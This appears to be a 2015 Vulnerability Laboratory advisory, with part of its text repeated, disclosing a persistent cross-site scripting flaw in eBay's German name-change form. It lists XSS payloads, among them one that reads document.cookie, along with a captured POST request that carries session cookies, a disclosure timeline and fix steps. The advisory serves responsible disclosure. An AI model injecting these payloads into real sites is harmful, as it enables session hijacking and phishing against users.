Vulnerability Laboratory ID (VL-ID):
====================================
1227
Common Vulnerability Scoring System:
====================================
3.9
Product & Service Introduction:
===============================
eBay Inc. is an American multinational internet consumer-to-consumer corporation, headquartered in San Jose, California. It was founded by Pierre Omidyar in 1995,
and became a notable success story of the dot-com bubble; it is now a multi-billion dollar business with operations localized in over thirty countries. The company
manages eBay.com, an online auction and shopping website in which people and businesses buy and sell a broad variety of goods and services worldwide. In addition to
its auction-style sellings, the website has since expanded to include `Buy It Now` standard shopping; shopping by UPC, ISBN, or other kind of SKU (via Half.com);
online classified advertisements online event ticket trading online money transfers and other services.
(Copy of the Homepage: http://en.wikipedia.org/wiki/EBay )
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered mutliple persistent input validation web vulnerabilities in the official Ebay Magento Web-Application (CMS & API).
Technical Details & Description:
================================
Two persistent input validation web vulnerabilities has been discovered in the official Ebay Magento Web-Application (CMS & API).
A persistent vulnerability allows remote attackers to inject malicious script codes on the application-side of the affected web-application.
The vulnerability is located in the real `name change` (`Namensänderung`) formular. The input validation of the vulnerable `first- & lastname` does
not encode scipt codes. Remote attackers are able to jungle over the main website to the real name change module. In the real name change module the
change the registration name with an payload. The scipt code executes in both scenarios but only in case without doublequotes it will be changed
(written) in the database. The execution occurs directly in the formular and in the top user name context location. The attack vector is persistent
and the request method to inject is POST. After the save of the payload it is possible to attack platform users with the manipulated profile values.
The security risk of the application-side web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.9.
Exploitation of the persistent web vulnerability requires a low privileged web-application user account and low user interaction. Successful exploitation
results in session hijacking, persistent phishings attacks, persistent external redirect and malware loads or persistent manipulation of affected or
connected module context.
Proof of Concept (PoC):
=======================
The persistent input validation web vulnerability can be exploited by remote attackers with low privileged application user account and low or medium user interaction.
For security demonstration or to reproduce the vulnerability follow the provided steps and information below to continue.
Reference(s):
https://scgi.ebay.de/ws/eBayISAPI.dll?ChangeRegistrationPreview
https://scgi.ebay.de/ws/eBayISAPI.dll?ChangeRegistrationShow (Click Change original Registration Account "Name")
https://signin.ebay.de/ws/eBayISAPI.dll?SignIn&runame=namechange1 (Login as the regular user account)
https://signin.ebay.de/ws/eBayISAPI.dll?SignIn&runame=namechange2 (Exchange the user values with the name with a persistent script code payload)
http://namechange.ebay.de/ (persistent execution with save in the frontend & executable script code in backend too!)
Solution - Fix & Patch:
=======================
The vulnerability needs to be patched in 3 different steps.
1. The input field of the original registration user name change module needs to be restricted on special characters or script codes
2. In the second step the input of the context itself needs to be encoded or secure parsed to prevent further execution of malicious injected script codes as original user name value.
3. The optional third step is to encode already injected strings as original names in the database to prevent executions after the module has been successful updated.
Security Risk:
==============
The security risk of the application-side input validation web vulnerability in the ebay original name change module is estimated as medium.
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm (at) evolution-sec (dot) com [email concealed]) [www.vulnerability-lab.com]
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses,
policies, deface websites, hack into databases or trade with fraud/stolen material.
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact
(admin (at) vulnerability-lab (dot) com [email concealed] or research (at) vulnerability-lab (dot) com [email concealed]) to get a permission.
===============
Ebay Inc Xcom #6 - Persistent POST Inject Vulnerability
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1227
Release Date:
=============
2015-03-24
Vulnerability Laboratory ID (VL-ID):
====================================
1227
Common Vulnerability Scoring System:
====================================
3.9
Product & Service Introduction:
===============================
eBay Inc. is an American multinational internet consumer-to-consumer corporation, headquartered in San Jose, California. It was founded by Pierre Omidyar in 1995,
and became a notable success story of the dot-com bubble; it is now a multi-billion dollar business with operations localized in over thirty countries. The company
manages eBay.com, an online auction and shopping website in which people and businesses buy and sell a broad variety of goods and services worldwide. In addition to
its auction-style sellings, the website has since expanded to include `Buy It Now` standard shopping; shopping by UPC, ISBN, or other kind of SKU (via Half.com);
online classified advertisements online event ticket trading online money transfers and other services.
(Copy of the Homepage: http://en.wikipedia.org/wiki/EBay )
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered mutliple persistent input validation web vulnerabilities in the official Ebay Magento Web-Application (CMS & API).
Vulnerability Disclosure Timeline:
==================================
2014-03-16: Researcher Notification & Coordination (Benjamin Kunz Mejri - Evolution Security GmbH)
2014-03-17: Vendor Notification (eBay Inc - Security Research Team)
2014-04-16: Vendor Response/Feedback (eBay Inc - Security Research Team)
2015-03-19: Vendor Fix/Patch (eBay Inc - Xcom Developer Team)
2015-03-24: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Ebay Inc.
Product: Ebay Inc - Official WebSite Application & API
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Technical Details & Description:
================================
Two persistent input validation web vulnerabilities has been discovered in the official Ebay Magento Web-Application (CMS & API).
A persistent vulnerability allows remote attackers to inject malicious script codes on the application-side of the affected web-application.
The vulnerability is located in the real `name change` (`Namensänderung`) formular. The input validation of the vulnerable `first- & lastname` does
not encode scipt codes. Remote attackers are able to jungle over the main website to the real name change module. In the real name change module the
change the registration name with an payload. The scipt code executes in both scenarios but only in case without doublequotes it will be changed
(written) in the database. The execution occurs directly in the formular and in the top user name context location. The attack vector is persistent
and the request method to inject is POST. After the save of the payload it is possible to attack platform users with the manipulated profile values.
The security risk of the application-side web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.9.
Exploitation of the persistent web vulnerability requires a low privileged web-application user account and low user interaction. Successful exploitation
results in session hijacking, persistent phishings attacks, persistent external redirect and malware loads or persistent manipulation of affected or
connected module context.
Vulnerable Module(s):
[+] Startseite > Namensänderung > [Namensänderung]
Vulnerable Parameter(s):
[+] firstname
[+] lastname
Affected Domain(s):
[+] ebay.com
[+] namechange.ebay.*
Proof of Concept (PoC):
=======================
The persistent input validation web vulnerability can be exploited by remote attackers with low privileged application user account and low or medium user interaction.
For security demonstration or to reproduce the vulnerability follow the provided steps and information below to continue.
PoC: firstname
<td><input name="firstname" style="width:500px;" value="" type="text">[PERSISTENT INJECTED SCRIPT CODE!]<img src="x" onerror="prompt(23);"> "><img src="x" onerror="prompt(23);">"></td>
PoC: lastname
<td class="Bullets">
<input name="lastname" style="width:500px;" value="" type="text">[PERSISTENT INJECTED SCRIPT CODE!]<img src="x" onerror="prompt(23);"> "><img src="x" onerror="prompt(23);">"></td>
PoC: Payload(s)
">%20<img src="a" onerror="prompt(23);">
"<img src="x" onerror="prompt(document.cookie);">
--- PoC Session Logs [POST] ---
Status: Aus dem Cache geladen[Aus dem Cache geladen]
POST http://namechange.ebay.de/ Load Flags[LOAD_FROM_CACHE ] Grö�e des Inhalts[-1] Mime Type[unbekannt]
Request Header:
Host[namechange.ebay.de]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de-de,de;q=0.8,en-us;q=0.5,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[http://namechange.ebay.de/]
Cookie[ebay=%5Ea2p%3D53271e2790000000000.%5Epsi%3DAsoSnBFk*%5EsfLMD%3D13
91608831%5Esbf%3D1048576%5Ecos%3D0%5Ecv%3D15555%5Esin%3Din%5Ejs%3D1%5Edv
%3D53271766%5E; dp1=bpcid/223570455084ab5^a1p/0532868b5^bl/DE56e97e35^pbf/%2340000000000
081a8c200000455084ab5^mpc/0%7C7753344635^kms/in56e97e35^reg/%5EflagReg%3
D1%5E5c8d8e00^tzo/-3c53272545^exc/0%3A0%3A2%3A2534ea435^u1p/MjAxNC5rdW56
bQ**55084ab5^u1f/Benjamin55084ab5^idm/1532865eb^; cssg=d0a729021440a62067e10281ff8b9953; s=BAQAAAUSucEmyAAWAAAEAClMoaGoyMDE0Lmt1bnptAAMAAVMoaLUwAWUAAlMoaLUjMgAGA
AFTKGi1MACoAAFTKGi0MQFKABlTKGi1NTMyNzE3MzUuNzcuMS4xMS43OC4yLjAuMgAMAApTK
Gi1MTIyNTYzNzkwNgDuAGxTKGi1MQZodHRwOi8vbXkuZWJheS5kZS93cy9lQmF5SVNBUEkuZ
GxsP015ZUJheSZteWViYXk9JmN1cnJlbnRwYWdlPU15ZUJheUFkZHJlc3NlcyZzc3BhZ2VuY
W1lPVNUUkslM0FNRSUzQUxOTEsHABEAD1MnG5owMDEyMTIwMTQua3Vuem0AEgAKUyhotXRlc
3RDb29raWUA9AAiUyhotSQyJEFHbGR1QlhiJERkenZyQms4VzNCY25OdWo0WlpYZTAA+AAgU
yhotWQwYTcyOTAyMTQ0MGE2MjA2N2UxMDI4MWZmOGI5OTUzALgADFMnGGExMzk1MDcwNzU2O
jAAPQAKUyhotTIwMTQua3Vuem1FmLE+27m8Zof+2xnXOm4/NFcHGw**; nonsession=BAQAAAUSucEmyAAaAAEAAClUISrUyMDE0Lmt1bnptAWQAA1UISrUjOGEABAAK
VQhKajIwMTQua3Vuem0AygAgXI0YtWM3OGNiZWY5MTQ0MGEzNTgyZGMzZDMxM2ZmYTdhM2Iy
AMsAAlMnHj05MgFMABlVCEq1NTMyNzE3MzUuNzcuMS4xMS43OC4zLjAuMgFNABlVCEq1NTMy
NzE3MzUuNzcuMS4yLjEzNi4wLjAuMgAQAApVCEq1MjAxNC5rdW56bQAzAAlVCEq1MzQxMjgs
REVVAPMAIlUISrUkMiRBR2xkdUJYYiREZHp2ckJrOFczQmNuTnVqNFpaWGUwALQAAVMn7vAw
AJoAC1MpueoyMDE0Lmt1bnptbgCcADhVCEq1blkrc0haMlByQm1kajZ3Vm5ZK3NFWjJQckEy
ZGo2QUdrb2VuQzVlTG9RcWRqNng5blkrc2VRPT0AnQAIVQhKtTAwMDAwMDAxPfZj5+XMryhD
SD8OFMa8uTDhh84*; cid=fQWajzwBNP9yfsZ3%232235704; lucky9=9735524; npii=btguid/c78cbef91440a3582dc3d313ffa7a3b255084a4a^cguid/c77cfce61440a
56b23d61f96fe2e024155084a4a^; ds1=ats/0; ns1=BAQAAAUSucEmyAAaAANgAYlUISrVjOTR8NjAxXjEzOTUwNzAyNzMwMTdeTWpBeE5DNXJ
kVzU2YlE9PV4xXjN8Mnw2NXw1MHw1fDR8MTF8N14xXjJeNF4zXjEyXjEyXjJeMV4xXjBeMV4
wXjBeMjE0NzQ5MTc3OQClAA1VCEq1MTIyNTYzNzkwNi8wO0yWn93iOeekHlbGoiabaz+eh5S
Q; secses=BAQAAAUSucEmyAAaAAUsAGVUISrU1MzI3MTczNS43Ny4xLjExLjc4LjIuMC4y0nie
i+BIO3Yw57q3p8I3L/TNtoI*; shs=BAQAAAUSucEmyAAaAAVUADlMwUbQ1MTYyMjA1MzEwMDQsM9g7wvvmFa4cmHqHt8ygpU/
NRi+3; ds2=asotr/b1Brzzzzzzzz^; dnc-ebay-de=e466b3644255378e63e0f112f81ebb0abf2ad87aad2a1286866a8d066286
e5fc; ebay_dnc=u8sqslc4u5voc8605b5o7a8ag3; ssg=uld/1395070822457%5E]
POST-Daten:
firstname[+%22%3E%3C[MALICIOUS SCRIPT CODE!]%2823%29%3B%3E]
lastname[+%22%3E%3C[MALICIOUS SCRIPT CODE!]%2823%29%3B%3E]
reason_code[NCP]
request_comment[+%22%3E%3C[MALICIOUS SCRIPT CODE!]%2823%29%3B%3E+++bug+bounty+program+test+-+bkm]
action[proceed]
Reference(s):
https://scgi.ebay.de/ws/eBayISAPI.dll?ChangeRegistrationPreview
https://scgi.ebay.de/ws/eBayISAPI.dll?ChangeRegistrationShow (Click Change original Registration Account "Name")
https://signin.ebay.de/ws/eBayISAPI.dll?SignIn&runame=namechange1 (Login as the regular user account)
https://signin.ebay.de/ws/eBayISAPI.dll?SignIn&runame=namechange2 (Exchange the user values with the name with a persistent script code payload)
http://namechange.ebay.de/ (persistent execution with save in the frontend & executable script code in backend too!)
Solution - Fix & Patch:
=======================
The vulnerability needs to be patched in 3 different steps.
1. The input field of the original registration user name change module needs to be restricted on special characters or script codes
2. In the second step the input of the context itself needs to be encoded or secure parsed to prevent further execution of malicious injected script codes as original user name value.
3. The optional third step is to encode already injected strings as original names in the database to prevent executions after the module has been successful updated.
Security Risk:
==============
The security risk of the application-side input validation web vulnerability in the ebay original name change module is estimated as medium.
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm (at) evolution-sec (dot) com [email concealed]) [www.vulnerability-lab.com]
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses,
policies, deface websites, hack into databases or trade with fraud/stolen material.
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
Contact: admin (at) vulnerability-lab (dot) com [email concealed] - research (at) vulnerability-lab (dot) com [email concealed] - admin (at) evolution-sec (dot) com [email concealed]
Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact
(admin (at) vulnerability-lab (dot) com [email concealed] or research (at) vulnerability-lab (dot) com [email concealed]) to get a permission.
Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]�
--
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
CONTACT: research (at) vulnerability-lab (dot) com [email concealed]
PGP KEY: http://www.vulnerability-lab.com/keys/admin (at) vulnerability-lab (dot) com [email concealed]%280x19
8E9928%29.txt
[ reply ]